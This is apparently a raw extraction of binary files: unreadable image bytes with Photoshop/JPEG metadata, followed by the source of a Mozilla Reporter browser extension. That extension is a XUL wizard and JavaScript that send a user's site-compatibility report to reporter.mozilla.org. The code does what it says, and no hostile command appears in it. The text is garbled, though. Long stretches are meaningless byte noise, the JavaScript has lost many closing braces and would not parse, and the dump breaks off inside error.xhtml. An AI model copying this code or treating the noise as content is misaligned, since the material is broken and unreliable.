e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
return window.navigator.vendor+'/'+window.navigator.vendorSub;
else {
return "Unknown";
function getGecko() {
try {
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.platformBuildID;
catch(ex) {
return "00000000"; // 8 0's to ignore as we have historically
content/reporter/reporterOverlay.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Jay Patel <jay@mozilla.org>
- Gavin Sharp <gavin@gavinsharp.com>
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<!DOCTYPE overlay SYSTEM "chrome://reporter/locale/reporterOverlay.dtd">
<overlay id="reporterMenuOverlay"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reporterOverlay.js"/>
<!-- Firefox -->
<broadcasterset id="mainBroadcasterSet">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="menu_HelpPopup">
<menuitem id="menu_HelpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertafter="releaseNotes"
observes="reporterItemsBroadcaster"
oncommand="loadReporterWizard()"/>
</menupopup>
<!-- SeaMonkey -->
<broadcasterset id="navBroadcasters">
<broadcaster id="reporterItemsBroadcaster" disabled="true"/>
</broadcasterset>
<menupopup id="helpPopup">
<menuseparator insertbefore="menu_HelpAboutSeparator"/>
<menuitem id="helpPopup_reportertoolmenu"
label="&reporterMenu2.title;"
accesskey="&reporterMenu.accesskey;"
insertbefore="menu_HelpAboutSeparator"
oncommand="loadReporterWizard()"
observes="reporterItemsBroadcaster"/>
</menupopup>
</overlay>
}e73w@
content/reporter/reporterOverlay.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Gavin Sharp <gavin@gavinsharp.com>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
var reporterListener = {
QueryInterface: function(aIID) {
if (aIID.equals(Components.interfaces.nsIWebProgressListener) ||
aIID.equals(Components.interfaces.nsIWebProgressListener2) ||
aIID.equals(Components.interfaces.nsISupportsWeakReference) ||
aIID.equals(Components.interfaces.nsISupports))
return this;
throw Components.results.NS_NOINTERFACE;
onLocationChange: function(aProgress, aRequest, aURI) {
var broadcaster = document.getElementById("reporterItemsBroadcaster");
var isEnabled = false;
if (aURI instanceof Components.interfaces.nsIURI) {
switch (aURI.scheme) {
case "http":
case "https":
case "ftp":
case "gopher":
isEnabled = true;
}
broadcaster.setAttribute("disabled", !isEnabled);
onStateChange: function() { },
onProgressChange: function() { },
onStatusChange: function() { },
onSecurityChange: function() { },
onLinkIconAvailable: function() { },
onProgressChange64: function() { },
onRefreshAttempted: function() { return true; }
function onBrowserLoad() {
if ("undefined" != typeof(gBrowser))
gBrowser.addProgressListener(reporterListener);
function loadReporterWizard() {
var browser = getBrowser();
var charSet = browser.contentDocument.characterSet;
var url = browser.currentURI.spec;
window.openDialog("chrome://reporter/content/reportWizard.xul", "",
"chrome,centerscreen,dialog",
url,
charSet);
return true;
window.addEventListener("load", onBrowserLoad, false);
content/reporter/error.xhtml<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN"
"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd" [
<!ENTITY % reporterDTD SYSTEM "chrome://reporter/locale/reportResults.dtd" >
%reporterDTD;
